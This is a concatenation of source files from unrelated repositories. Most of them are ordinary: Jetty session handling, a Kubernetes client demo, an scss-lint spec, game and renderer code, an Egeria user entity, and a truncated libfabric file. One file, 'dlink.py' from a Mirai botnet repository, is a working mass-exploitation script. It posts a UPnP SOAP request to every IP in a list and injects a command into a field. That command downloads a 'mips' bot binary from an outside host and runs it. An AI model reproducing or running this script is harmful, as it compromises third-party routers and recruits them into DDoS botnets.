public SessionExpiredException(String message, SessionErrors error_status, HttpServletRequest optionalRequest) {
super(message, buildExceptionResponse(error_status, optionalRequest, message));
}
}
private static Response buildExceptionResponse(SessionErrors error_status, HttpServletRequest optionalRequest, String message) {
String mediaType;
String responseData;
if(requestIsHtml(optionalRequest)){
mediaType = MediaType.TEXT_HTML;
StringBuilder sb = new StringBuilder("<p>")
.append(message)
.append("</p>\n")
.append("<p>")
.append("Please go <a href=\"")
.append(optionalRequest.getRequestURL())
.append("\">here</a> to refresh.")
.append("</p>");
responseData = sb.toString();
}else{
mediaType = MediaType.APPLICATION_JSON;
JsonObject jsonEntity = new JsonObject();
jsonEntity.addProperty(error_status.toString(), true);
responseData = jsonEntity.toString();
}
return Response.status(Response.Status.FORBIDDEN)
.header(HttpHeader.CONTENT_TYPE.asString(), mediaType)
.entity(responseData).build();
}
private static boolean requestIsHtml(HttpServletRequest optionalRequest) {
Set headerList = separateOneLineMediaTypes(EnumerationUtils.toList(optionalRequest.getHeaders(HttpHeaders.ACCEPT)));
Set defaultMediaTypes = ImmutableSet.of(MediaType.TEXT_HTML, MediaType.APPLICATION_XHTML_XML, MediaType.APPLICATION_XML);
if(CollectionUtils.containsAny(headerList,defaultMediaTypes)){
return true;
}
return false;
}
private static Set separateOneLineMediaTypes(List<String> toList) {
Set<String> mediatypes = new HashSet<>();
toList.stream().forEach(headerLine -> mediatypes.addAll(Arrays.asList(headerLine.split(",|,\\s"))));
return mediatypes;
}
}
private static String getContextPath(Handler h) {
if (h instanceof SessionHandler) {
ContextHandler.Context ctx = getContext((SessionHandler)h);
if (ctx!=null) {
return ctx.getContextPath();
}
}
return null;
}
private static String getBundle(Handler h) {
if (h instanceof SessionHandler) {
ContextHandler.Context ctx = getContext((SessionHandler)h);
if (ctx!=null) {
BundleContext bundle = (BundleContext) ctx.getAttribute("osgi-bundlecontext");
if (bundle!=null) return bundle.getBundle().getSymbolicName();
}
}
return null;
}
private static String getContextPath(HttpSession h) {
if (h instanceof Session) {
return getContextPath( ((Session)h).getSessionHandler() );
}
return null;
}
private static String getBundle(HttpSession h) {
if (h instanceof Session) {
ContextHandler.Context ctx = getContext(((Session)h).getSessionHandler());
if (ctx!=null) {
BundleContext bundle = (BundleContext) ctx.getAttribute("osgi-bundlecontext");
if (bundle!=null) return bundle.getBundle().getSymbolicName();
}
}
return null;
}
protected static ContextHandler.Context getContext(SessionHandler sh) {
try {
Field f = SessionHandler.class.getDeclaredField("_context");
f.setAccessible(true);
return (ContextHandler.Context) f.get(sh);
} catch (Exception e) {
Exceptions.propagateIfFatal(e);
// else ignore, security doesn't allow finding context
return null;
}
}
private static String info(HttpServletRequest req, HttpSession sess) {
if (req!=null) return info(req);
return info(sess);
}
public static String info(HttpServletRequest r) {
if (r==null) return "null";
return ""+r+"["+r.getRequestURI()+"@"+info(r.getSession(false))+"]";
}
public static String info(SessionHandler h) {
if (h==null) return "null";
return ""+h+"["+(Strings.isBlank(getContextPath(h)) ? getBundle(h) : getContextPath(h))+"]";
}
public static String info(HttpSession s) {
if (s==null) return "null";
String hh = getContextPath(s);
if (Strings.isBlank(hh)) hh = getBundle(s);
if (Strings.isBlank(hh)) {
hh = s instanceof Session ? info( ((Session)s).getSessionHandler() ) : "<non-jetty>";
}
return ""+s+"["+s.getId()+" @ "+hh+"]";
}
public MultiSessionAttributeAdapter configureWhetherToSilentlyAcceptLocalOnlyValues(boolean silentlyAcceptLocalOnlyValues) {
this.silentlyAcceptLocalOnlyValues = silentlyAcceptLocalOnlyValues;
return this;
}
public MultiSessionAttributeAdapter configureWhetherToSetLocalValuesAlso(boolean setLocalValuesAlso) {
this.setLocalValuesAlso = setLocalValuesAlso;
return this;
}
public MultiSessionAttributeAdapter configureWhetherToSetInAll(boolean setAllKnownSessions) {
this.setAllKnownSessions = setAllKnownSessions;
return this;
}
public Object getAttribute(String name) {
Object v = preferredSession.getAttribute(name);
if (v==null) {
v = localSession.getAttribute(name);
if (v!=null && !silentlyAcceptLocalOnlyValues) {
log.warn(this+" found value for '"+name+"' in local session but not in preferred session; ensure value is written using this class if it is going to be read with this class");
preferredSession.setAttribute(name, v);
}
}
return v;
}
public void setAttribute(String name, Object value) {
if (setAllKnownSessions) {
Handler[] hh = getSessionHandlers();
if (hh!=null) {
for (Handler h: hh) {
Session ss = getSessionSafely(h, localSession.getId());
if (ss!=null) {
ss.setAttribute(name, value);
}
}
return;
} else {
if (!setLocalValuesAlso) {
// can't do all, but at least to local
configureWhetherToSetLocalValuesAlso(true);
}
}
}
preferredSession.setAttribute(name, value);
if (setLocalValuesAlso) {
localSession.setAttribute(name, value);
}
}
public void removeAttribute(String name) {
if (setAllKnownSessions) {
Handler[] hh = getSessionHandlers();
if (hh!=null) {
for (Handler h: hh) {
Session ss = getSessionSafely(h, localSession.getId());
if (ss!=null) {
ss.removeAttribute(name);
}
}
return;
} else {
if (!setLocalValuesAlso) {
// can't do all, but at least to local
configureWhetherToSetLocalValuesAlso(true);
}
}
}
preferredSession.removeAttribute(name);
if (setLocalValuesAlso) {
localSession.removeAttribute(name);
}
}
protected Handler[] getSessionHandlers() {
Server srv = getServer();
Handler[] handlers = null;
if (srv!=null) {
handlers = srv.getChildHandlersByClass(SessionHandler.class);
}
return handlers;
}
protected Server getServer() {
Server server = null;
if (localSession instanceof Session) {
server = ((Session)localSession).getSessionHandler().getServer();
if (server!=null) return server;
}
if (preferredSession instanceof Session) {
server = ((Session)preferredSession).getSessionHandler().getServer();
if (server!=null) return server;
}
return null;
}
public HttpSession getPreferredSession() {
return preferredSession;
}
public HttpSession getOriginalSession() {
return localSession;
}
public String getId() {
return getPreferredSession().getId();
}
public MultiSessionAttributeAdapter resetExpiration() {
// force all sessions with this ID to be marked used so they are not expired
// (if _any_ session with this ID is expired, then they all are, even if another
// with the same ID is in use or has a later expiry)
Integer maxInativeInterval = MAX_INACTIVE_INTERVAL.getDefaultValue();
if(this.mgmt != null){
maxInativeInterval = mgmt.getConfig().getConfig(MAX_INACTIVE_INTERVAL);
}
Handler[] hh = getSessionHandlers();
if (hh!=null) {
for (Handler h: hh) {
Session ss = getSessionSafely(h, getId());
if (ss != null) {
ss.setMaxInactiveInterval(maxInativeInterval);
}
}
}
return this;
}
private static Session getSessionSafely(Handler h, String id) {
if (!(h instanceof SessionHandler)) {
log.warn("Unexpected Handler type "+h+" / "+(h==null ? "null" : h.getClass())+"; ignoring session lookup for "+id);
return null;
}
if (((SessionHandler)h).getSessionCache()==null) {
// suppress the log warning that the call to getSession can trigger, if racing during startup
log.debug("Skipping session lookup for "+id+" on "+h+" because session cache not initialized (yet)");
return null;
}
return ((SessionHandler) h).getSession(id);
}
}
|
1ucif3r/DDOS-th31ucif3r | Botnets/MIRAI SPLOITS/DLINK/dlink.py | #! python !#
import threading, sys, time, random, socket, re, os, struct, array, requests, base64, subprocess
from sys import stdout
from Threading import thread
from Queue import *
ips = open(sys.argv[1], "r").readlines()
queue = Queue()
queue_count = 0
p1 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;wget http:1.1.1.1/bins/mips;chmod 777 *;./mips dlink.exploit/</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>"
headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
def rtek(host):
try:
url = "http://" + host + ":49152/soap.cgi?service=WANIPConn1"
requests.post(url, timeout=5, headers=headerlist, data=p1)
except:
pass
return
def main():
global queue_count
for line in ips:
line = line.strip("\r")
line = line.strip("\n")
queue_count += 1
sys.stdout.write("\r[%d] Added to queue" % (queue_count))
sys.stdout.flush()
queue.put(line)
sys.stdout.write("\n")
i = 0
while i != queue_count:
i += 1
try:
input = queue.get()
thread = Thread(target=rtek, args=(input,))
thread.start()
except KeyboardInterrupt:
sys.exit("Interrupted? (ctrl + c)")
thread.join()
return
if __name__ == "__main__":
main() |
mbauhardt/kubernetes-client-demo | src/main/java/io/fabric8/IngressRemovePath.java | package io.fabric8;
import io.fabric8.kubernetes.client.DefaultKubernetesClient;
import io.fabric8.kubernetes.client.KubernetesClient;
import io.fabric8.kubernetes.client.dsl.base.PatchContext;
import io.fabric8.kubernetes.client.dsl.base.PatchType;
public class IngressRemovePath {
public static void main(String[] args) {
try (KubernetesClient client = new DefaultKubernetesClient()) {
client.network().v1()
.ingresses()
.inNamespace("default")
.withName("ingress-wildcard-host")
.patch(PatchContext.of(PatchType.JSON), "[{\"op\": \"remove\", \"path\":\"/spec/rules/0/http/paths/0\"}]");
}
}
}
|
ruedap/scss-lint | spec/scss_lint/config_spec.rb | <gh_stars>1-10
require 'spec_helper'
require 'fileutils'
describe SCSSLint::Config do
class SCSSLint::Linter::FakeConfigLinter < SCSSLint::Linter; end
module SCSSLint::Linter::SomeNamespace
class FakeLinter1 < SCSSLint::Linter; end
class FakeLinter2 < SCSSLint::Linter; end
end
let(:default_file) { File.open(described_class::DEFAULT_FILE).read }
# This complex stubbing bypasses the built-in caching of the methods, and at
# the same time gives us full control over the "default" configuration.
before do
described_class
.stub(:load_file_contents)
.with(described_class::DEFAULT_FILE)
.and_return(default_file)
described_class
.stub(:default_options_hash)
.and_return(described_class.send(:load_options_hash_from_file, described_class::DEFAULT_FILE))
described_class
.stub(:default)
.and_return(described_class.load(described_class::DEFAULT_FILE, merge_with_default: false))
end
describe '.default' do
subject { described_class.default }
it 'has a configuration defined for all registered linters' do
SCSSLint::LinterRegistry.linters.map(&:new).each do |linter|
subject.linter_options(linter).should_not be_nil
end
end
end
describe '.load' do
let(:config_dir) { '/path/to' }
let(:file_name) { "/#{config_dir}/config.yml" }
let(:default_file) { <<-FILE }
linters:
FakeConfigLinter:
enabled: true
OtherFakeConfigLinter:
enabled: false
FILE
subject { described_class.load(file_name) }
before do
described_class.stub(:load_file_contents)
.with(file_name)
.and_return(config_file)
end
context 'with an empty config file' do
let(:config_file) { '' }
it 'returns the default configuration' do
subject.should == described_class.default
end
end
context 'with a config file containing only comments' do
let(:config_file) { '# This is a comment' }
it 'returns the default configuration' do
subject.should == described_class.default
end
end
context 'with a file configuring an unknown linter' do
let(:config_file) { 'linters: { MadeUpLinterName: { enabled: true } }' }
it 'stores a warning for the unknown linter' do
subject.warnings
.any? { |warning| warning.include?('MadeUpLinterName') }
.should be true
end
end
context 'with a config file setting the same configuration as the default' do
let(:config_file) { default_file }
it 'returns a configuration equivalent to the default' do
subject.should == described_class.default
end
end
context 'with a config file setting the same subset of settings as the default' do
let(:config_file) { <<-FILE }
linters:
FakeConfigLinter:
enabled: true
FILE
it 'returns a configuration equivalent to the default' do
subject.should == described_class.default
end
end
context 'with a file that includes another configuration file' do
let(:included_file_path) { '../included_file.yml' }
let(:config_file) { <<-FILE }
inherit_from: #{included_file_path}
linters:
FakeConfigLinter:
enabled: true
some_other_option: some_other_value
FILE
before do
described_class.stub(:load_file_contents)
.with("#{config_dir}/" + included_file_path)
.and_return(included_file)
end
context 'and the included file has a different setting from the default' do
let(:included_file) { <<-FILE }
linters:
OtherFakeConfigLinter:
enabled: true
some_option: some_value
FILE
it 'reflects the different setting of the included file' do
subject.options['linters']['OtherFakeConfigLinter']
.should == { 'enabled' => true, 'some_option' => 'some_value' }
end
it 'reflects the different setting of the file that included the file' do
subject.options['linters']['FakeConfigLinter']
.should == { 'enabled' => true, 'some_other_option' => 'some_other_value' }
end
end
context 'and the included file has the same setting as the default' do
let(:included_file) { <<-FILE }
linters:
OtherFakeConfigLinter:
enabled: false
FILE
it 'does not alter the default configuration' do
subject.options['linters']['OtherFakeConfigLinter']
.should == { 'enabled' => false }
end
it 'reflects the different setting of the file that included the file' do
subject.options['linters']['FakeConfigLinter']
.should == { 'enabled' => true, 'some_other_option' => 'some_other_value' }
end
end
context 'and the included file includes another file' do
let(:other_included_file_path) { '/some/abs/other_included_file.yml' }
let(:other_included_file) { <<-FILE }
linters:
OtherFakeConfigLinter:
yet_another_option: yet_another_value
FILE
let(:included_file) { <<-FILE }
inherit_from: #{other_included_file_path}
linters:
OtherFakeConfigLinter:
enabled: true
some_option: some_value
FILE
before do
described_class.stub(:load_file_contents)
.with(other_included_file_path)
.and_return(other_included_file)
end
it "reflects the different setting of the included file's included file" do
subject.options['linters']['OtherFakeConfigLinter']
.should == {
'enabled' => true,
'some_option' => 'some_value',
'yet_another_option' => 'yet_another_value',
}
end
it 'reflects the different setting of the file that included the file' do
subject.options['linters']['FakeConfigLinter']
.should == { 'enabled' => true, 'some_other_option' => 'some_other_value' }
end
end
end
context 'with a file that includes multiple configuration files' do
let(:included_file_path) { '../included_file.yml' }
let(:other_included_file_path) { '/some/dir/other_included_file.yml' }
let(:config_file) { <<-FILE }
inherit_from:
- #{included_file_path}
- #{other_included_file_path}
linters:
FakeConfigLinter:
enabled: true
some_other_option: some_other_value
FILE
before do
described_class.stub(:load_file_contents)
.with("#{config_dir}/" + included_file_path)
.and_return(included_file)
described_class.stub(:load_file_contents)
.with(other_included_file_path)
.and_return(other_included_file)
end
context 'and the included files have settings different from each other' do
let(:included_file) { <<-FILE }
linters:
OtherFakeConfigLinter:
enabled: true
some_option: earlier_value
some_other_option: value
FILE
let(:other_included_file) { <<-FILE }
linters:
OtherFakeConfigLinter:
enabled: true
some_option: later_value
FILE
it 'uses the value of the file that was included last' do
subject.options['linters']['OtherFakeConfigLinter']['some_option']
.should == 'later_value'
end
it 'loads settings from both included files' do
subject.options['linters']['OtherFakeConfigLinter']
.should == {
'enabled' => true,
'some_option' => 'later_value',
'some_other_option' => 'value',
}
end
end
end
context 'when a wildcard is used for a namespaced linter' do
let(:default_file) { <<-FILE }
linters:
SomeNamespace::*:
enabled: false
FILE
let(:config_file) { <<-FILE }
linters:
SomeNamespace::*:
enabled: true
FILE
before do
SCSSLint::LinterRegistry.stub(:linters)
.and_return([SCSSLint::Linter::SomeNamespace::FakeLinter1,
SCSSLint::Linter::SomeNamespace::FakeLinter2])
end
it 'returns the same options for all linters under that namespace' do
subject.linter_options(SCSSLint::Linter::SomeNamespace::FakeLinter1)
.should eq('enabled' => true)
subject.linter_options(SCSSLint::Linter::SomeNamespace::FakeLinter2)
.should eq('enabled' => true)
end
end
end
describe '.for_file' do
include_context 'isolated environment'
let(:linted_file) { File.join('foo', 'bar', 'baz', 'file-being-linted.scss') }
subject { described_class.for_file(linted_file) }
before do
described_class.instance_variable_set(:@dir_to_config, nil) # Clear cache
FileUtils.mkpath(File.dirname(linted_file))
FileUtils.touch(linted_file)
end
context 'when there are no configuration files in the directory hierarchy' do
it { should be_nil }
end
context 'when there is a configuration file in the same directory' do
let(:config_file) { File.join('foo', 'bar', 'baz', '.scss-lint.yml') }
before { FileUtils.touch(config_file) }
it 'loads that configuration file' do
described_class.should_receive(:load).with(File.expand_path(config_file))
subject
end
end
context 'when there is a configuration file in the parent directory' do
let(:config_file) { File.join('foo', 'bar', '.scss-lint.yml') }
before { FileUtils.touch(config_file) }
it 'loads that configuration file' do
described_class.should_receive(:load).with(File.expand_path(config_file))
subject
end
end
context 'when there is a configuration file in some ancestor directory' do
let(:config_file) { File.join('foo', '.scss-lint.yml') }
before { FileUtils.touch(config_file) }
it 'loads that configuration file' do
described_class.should_receive(:load).with(File.expand_path(config_file))
subject
end
end
end
describe '#linter_options' do
let(:config) { described_class.new(options) }
let(:linter_options) do
{
'enabled' => true,
'some_option' => 'some_value',
}
end
let(:options) do
{
'linters' => {
'FakeConfigLinter' => linter_options
}
}
end
it 'returns the options for the specified linter' do
config.linter_options(SCSSLint::Linter::FakeConfigLinter.new)
.should == linter_options
end
end
describe '#excluded_file?' do
include_context 'isolated environment'
let(:config_dir) { 'path/to' }
let(:file_name) { "#{config_dir}/config.yml" }
let(:config) { described_class.load(file_name) }
before do
described_class.stub(:load_file_contents)
.with(file_name)
.and_return(config_file)
end
context 'when no exclusion is specified' do
let(:config_file) { 'linters: {}' }
it 'does not exclude any files' do
config.excluded_file?('anything/you/want.scss').should be false
end
end
context 'when an exclusion is specified' do
let(:config_file) { "exclude: 'foo/bar/baz/**'" }
it 'does not exclude anything not matching the glob' do
config.excluded_file?("#{config_dir}/foo/bar/something.scss").should be false
config.excluded_file?("#{config_dir}/other/something.scss").should be false
end
it 'excludes anything matching the glob' do
config.excluded_file?("#{config_dir}/foo/bar/baz/excluded.scss").should be true
config.excluded_file?("#{config_dir}/foo/bar/baz/dir/excluded.scss").should be true
end
end
end
describe '#excluded_file_for_linter?' do
include_context 'isolated environment'
let(:config_dir) { 'path/to' }
let(:file_name) { "#{config_dir}/config.yml" }
let(:config) { described_class.load(file_name) }
before do
described_class.stub(:load_file_contents)
.with(file_name)
.and_return(config_file)
end
context 'when no exclusion is specified in linter' do
let(:config_file) { <<-FILE }
linters:
FakeConfigLinter:
enabled: true
FILE
it 'does not exclude any files' do
config.excluded_file_for_linter?(
"#{config_dir}/anything/you/want.scss",
SCSSLint::Linter::FakeConfigLinter.new
).should == false
end
end
context 'when an exclusion is specified in linter' do
let(:config_file) { <<-FILE }
linters:
FakeConfigLinter:
enabled: true
exclude:
- 'anything/you/want.scss'
FILE
it 'excludes file for the linter' do
config.excluded_file_for_linter?(
"#{config_dir}/anything/you/want.scss",
SCSSLint::Linter::FakeConfigLinter.new
).should == true
end
end
end
end
|
wubbleworld/wubble-world | src/edu/isi/wubble/gamestates/VisualGameState.java | <gh_stars>0
package edu.isi.wubble.gamestates;
import java.util.concurrent.Callable;
import com.jme.bounding.BoundingBox;
import com.jme.input.FirstPersonHandler;
import com.jme.input.InputHandler;
import com.jme.input.KeyBindingManager;
import com.jme.input.KeyInput;
import com.jme.input.action.InputActionEvent;
import com.jme.input.action.KeyInputAction;
import com.jme.renderer.Camera;
import com.jme.renderer.Renderer;
import com.jme.scene.Node;
import com.jme.scene.SceneElement;
import com.jme.scene.Text;
import com.jme.scene.state.RenderState;
import com.jme.scene.state.TextureState;
import com.jme.scene.state.ZBufferState;
import com.jme.system.DisplaySystem;
import com.jme.util.GameTaskQueueManager;
import com.jme.util.Timer;
import com.jme.util.geom.Debugger;
import com.jmex.game.state.GameState;
import edu.isi.wubble.Main;
import edu.isi.wubble.rpg.RpgGuiState;
public abstract class VisualGameState extends WubbleGameState {
protected Camera _camera;
public Camera getCamera() { return _camera; }
protected Node _rootNode;
protected InputHandler _input;
public InputHandler getInput() { return _input; }
protected Timer _timer;
protected StringBuffer _updateBuffer = new StringBuffer( 30 );
protected StringBuffer _tempBuffer = new StringBuffer();
protected Node _fpsNode;
protected Text _fps;
protected boolean _renderStatistics = true;
protected boolean _showBounding = false;
protected boolean _delayInputUpdate = false;
protected KeyInputAction _switchAction;
public VisualGameState() {
super();
_rootNode = new Node("rootNode");
DisplaySystem.getDisplaySystem().getRenderer().enableStatistics(true);
ZBufferState buf = DisplaySystem.getDisplaySystem().getRenderer().createZBufferState();
buf.setEnabled(true);
buf.setFunction(ZBufferState.CF_LEQUAL);
_rootNode.setRenderState(buf);
// Then our font Text object.
/** This is what will actually have the text at the bottom. */
_fps = Text.createDefaultTextLabel( "FPS label" );
_fps.setCullMode( SceneElement.CULL_NEVER );
_fps.setTextureCombineMode( TextureState.REPLACE );
// Finally, a stand alone node (not attached to root on purpose)
_fpsNode = new Node( "FPS node" );
_fpsNode.setRenderState( _fps.getRenderState( RenderState.RS_ALPHA ) );
_fpsNode.setRenderState( _fps.getRenderState( RenderState.RS_TEXTURE ) );
_fpsNode.attachChild( _fps );
_fpsNode.setCullMode( SceneElement.CULL_NEVER );
initCamera();
initInput();
_timer = Timer.getTimer();
// Update geometric and rendering information for the rootNode.
_rootNode.updateGeometricState(0.0f, true);
_rootNode.updateRenderState();
_fpsNode.updateGeometricState( 0.0f, true );
_fpsNode.updateRenderState();
}
/**
* initializes our input to a first person handler (to make my life easier).
*
*/
protected void initInput() {
_input = new FirstPersonHandler(_camera, 3.0f, 3.0f);
}
/**
* Initializes a standard camera.
*/
protected void initCamera() {
DisplaySystem display = DisplaySystem.getDisplaySystem();
_camera = display.getRenderer().createCamera(display.getWidth(), display.getHeight());
_camera.setFrustumPerspective(45.0f,
(float) display.getWidth() / (float) display.getHeight(), 1, 1000);
_camera.update();
}
/**
* turns on and off the input handler
* @param enabled
* status of the input handler
*/
public void setInputEnabled(boolean enabled) {
_input.setEnabled(enabled);
if (enabled && _switchAction != null)
_input.addAction(_switchAction, "gotoChat", false);
}
/**
* Draws the rootNode.
*
* @see GameState#render(float)
*/
public void render(float tpf) {
DisplaySystem.getDisplaySystem().getRenderer().draw(_rootNode);
if (_renderStatistics) {
DisplaySystem.getDisplaySystem().getRenderer().draw(_fpsNode);
}
if (_showBounding) {
boolean showChildren = true;
Debugger.drawBounds(_rootNode, DisplaySystem.getDisplaySystem()
.getRenderer(), showChildren);
}
}
/**
* Updates the rootNode.
*
* @see GameState#update(float)
*/
public void update(float tpf) {
if (!_delayInputUpdate) {
_input.update(tpf);
}
if (_renderStatistics) {
Renderer renderer = DisplaySystem.getDisplaySystem().getRenderer();
setUpdateBuffer();
/** Send the fps to our fps bar at the bottom. */
_fps.print( _updateBuffer );
renderer.clearStatistics();
}
// we need to call this as little as possible, but it
// needs to be called at least once. Preferably completely at
// the end of the update, so make sure you do it in your function
//_rootNode.updateGeometricState(tpf, true);
}
// Set the text for the FPS status line at the bottom of the screen.
public void setUpdateBuffer() {
Renderer renderer = DisplaySystem.getDisplaySystem().getRenderer();
_updateBuffer.setLength(0);
_updateBuffer.append( "FPS: " ).append( (int) _timer.getFrameRate() ).append(
" - " );
_updateBuffer.append( renderer.getStatistics( _tempBuffer ) );
}
/**
* defer updating the input until a later time.
* necessary for Physics since they use the InputHandler
* to pass collision events.
* @param enabled
*/
protected void setDelayInputUpdate(boolean enabled) {
_delayInputUpdate = enabled;
}
/**
* Overwritten to appropriately call switchTo() or switchFrom().
*
* @see GameState#setActive(boolean)
*/
public void setActive(boolean active) {
if (active) onActivate();
super.setActive(active);
}
/**
* Points the renderers camera to the one contained by this state. Derived
* classes can put special actions they want to perform when activated here.
*/
protected void onActivate() {
DisplaySystem.getDisplaySystem().getRenderer().setCamera(_camera);
}
/**
*
*/
public void acquireFocus() {
// since we are visual.... don't do anything
}
public void addScreenShot(int key) {
KeyBindingManager.getKeyBindingManager().set("screenshot", key);
KeyInputAction screeny = new KeyInputAction() {
public void performAction(InputActionEvent evt) {
DisplaySystem.getDisplaySystem().getRenderer().takeScreenShot( "ScreenShot" );
}
};
_input.addAction(screeny, "screenshot", false);
}
public void addChatSwitchAbility(final String className) {
KeyBindingManager.getKeyBindingManager().set("gotoChat", KeyInput.KEY_SLASH);
_switchAction = new KeyInputAction() {
public void performAction(InputActionEvent evt) {
System.out.println("actionFired:gotoChat " + className);
Callable<?> callable = new Callable<Object>() {
public Object call() throws Exception {
Main.inst().giveFocus(className);
return null;
}
};
GameTaskQueueManager.getManager().update(callable);
}
};
_input.addAction(_switchAction, "gotoChat", false);
}
}
|
frmr/gs | src/gs/gsRenderer.hpp | #pragma once
#include <cstdint>
#include <SDL.h>
#include "../gl3w/gl3w.h"
#include "gsCamera.h"
#include "gsFullscreenQuad.h"
#include "gsGlobe.h"
#include "gsUserInterface.h"
namespace gs
{
class Renderer
{
private:
int width;
int height;
float aspectRatio;
bool fullscreen;
bool vsync;
int64_t time;
//gs::Globe globe; //last globe state
SDL_GLContext context;
const GLuint globeFbo;
const GLuint globeTex;
const GLuint sceneFbo;
const GLuint sceneTex;
const gs::FullscreenQuad quad;
private:
void InitOpenGl() const;
void RenderScene() const;
void RenderUi() const;
public:
bool SetResolution(const int width, const int height);
void Render(const gs::Camera& worldCamera, const gs::Camera& interfaceCamera, const gs::UserInterface& ui) const;
//void Update(const gs::Globe& globe);
public:
Renderer(const SDL_GLContext &context, const bool fullscreen, const bool vsync);
};
} |
njonsson/htty | lib/htty/platform.rb | <filename>lib/htty/platform.rb<gh_stars>1000+
require 'htty'
# Provides methods for ascertaining system characteristics.
module HTTY::Platform
def self.windows?
!(RUBY_PLATFORM =~ /(mswin|mingw)/i).nil?
end
end
|
rychagova/egeria | open-metadata-implementation/user-interfaces/ui-chassis/ui-chassis-spring/src/main/java/org/odpi/openmetadata/userinterface/uichassis/springboot/auth/db/domain/User.java | <gh_stars>0
/* SPDX-License-Identifier: Apache-2.0 */
/* Copyright Contributors to the ODPi Egeria project. */
package org.odpi.openmetadata.userinterface.uichassis.springboot.auth.db.domain;
import com.fasterxml.jackson.annotation.JsonIgnore;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.AuthorityUtils;
import org.springframework.security.core.userdetails.UserDetails;
import javax.persistence.*;
import java.util.Collection;
import java.util.List;
/**
* Entity User used for in-memory mocked demos, in case the real authentication is missing.
*/
@Entity
public class User implements UserDetails {
@Id
@GeneratedValue(strategy = GenerationType.SEQUENCE)
private Long id;
private String username;
private String name;
private String avatarUrl;
// Default to empty string for Auths created by JWT requests
@JsonIgnore
private String password = "";
@ElementCollection(targetClass=String.class,fetch = FetchType.EAGER)
private List<String> roles;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getUsername() {
return username;
}
@Override
public boolean isAccountNonExpired() {
return true;
}
@Override
public boolean isAccountNonLocked() {
return true;
}
@Override
public boolean isCredentialsNonExpired() {
return true;
}
@Override
public boolean isEnabled() {
return true;
}
public void setUsername(String username) {
this.username = username;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public Collection<? extends GrantedAuthority> getAuthorities() {
return AuthorityUtils.createAuthorityList(roles.toArray(new String[]{}));
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public List<String> getRoles() {
return roles;
}
public void setRoles(List<String> roles) {
this.roles = roles;
}
public String getAvatarUrl() {
return avatarUrl;
}
public void setAvatarUrl(String avatarUrl) {
this.avatarUrl = avatarUrl;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
User user = (User) o;
return id != null ? id.equals(user.id) : user.id == null;
}
@Override
public int hashCode() {
return id != null ? id.hashCode() : 0;
}
}
|
jhh67/chapel | third-party/libfabric/libfabric-src/prov/mrail/src/mrail_rma.c | /*
* Copyright (c) 2018-2019 Intel Corporation, Inc. All rights reserved.
*
* This software is available to you under a choice of one of two
* licenses. You may choose to be licensed under the terms of the GNU
* General Public License (GPL) Version 2, available from the file
* COPYING in the main directory of this source tree, or the
* BSD license below:
*
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
*
* - Redistributions of source code must retain the above
* copyright notice, this list of conditions and the following
* disclaimer.
*
* - Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "mrail.h"
static void mrail_subreq_to_rail(struct mrail_subreq *subreq, uint32_t rail,
struct iovec *out_iovs, void **out_descs,
struct fi_rma_iov *out_rma_iovs)
{
const struct mrail_mr *mrail_mr;
struct mrail_addr_key *mr_map;
size_t i;
for (i = 0; i < subreq->iov_count; ++i) {
mrail_mr = subreq->descs[i];
//TODO: add base address from mrail_mr
out_iovs[i].iov_len = subreq->iov[i].iov_len;
out_iovs[i].iov_base =
(void*)((uintptr_t)subreq->iov[i].iov_base);
out_descs[i] = (mrail_mr ?
fi_mr_desc(mrail_mr->rails[rail].mr) : NULL);
}
for (i = 0; i < subreq->rma_iov_count; ++i) {
mr_map = (struct mrail_addr_key *)subreq->rma_iov[i].key;
//TODO: add base address from mrail_addr_key
out_rma_iovs[i].addr = subreq->rma_iov[i].addr;
out_rma_iovs[i].len = subreq->rma_iov[i].len;
out_rma_iovs[i].key = mr_map[rail].key;
}
}
static ssize_t mrail_post_subreq(uint32_t rail,
struct mrail_subreq *subreq)
{
ssize_t ret;
struct iovec rail_iov[MRAIL_IOV_LIMIT];
void *rail_descs[MRAIL_IOV_LIMIT];
struct fi_rma_iov rail_rma_iov[MRAIL_IOV_LIMIT];
struct fi_msg_rma msg;
struct mrail_req *req = subreq->parent;
struct mrail_ep *mrail_ep = req->mrail_ep;
uint64_t flags = req->flags;
mrail_subreq_to_rail(subreq, rail, rail_iov, rail_descs, rail_rma_iov);
msg.msg_iov = rail_iov;
msg.desc = rail_descs;
msg.iov_count = subreq->iov_count;
msg.addr = req->peer_info->addr;
msg.rma_iov = rail_rma_iov;
msg.rma_iov_count = subreq->rma_iov_count;
msg.context = &subreq->context;
if (req->op_type == FI_READ) {
ret = fi_readmsg(mrail_ep->rails[rail].ep, &msg, flags);
} else {
/* Immediate data is sent with the last subreq only */
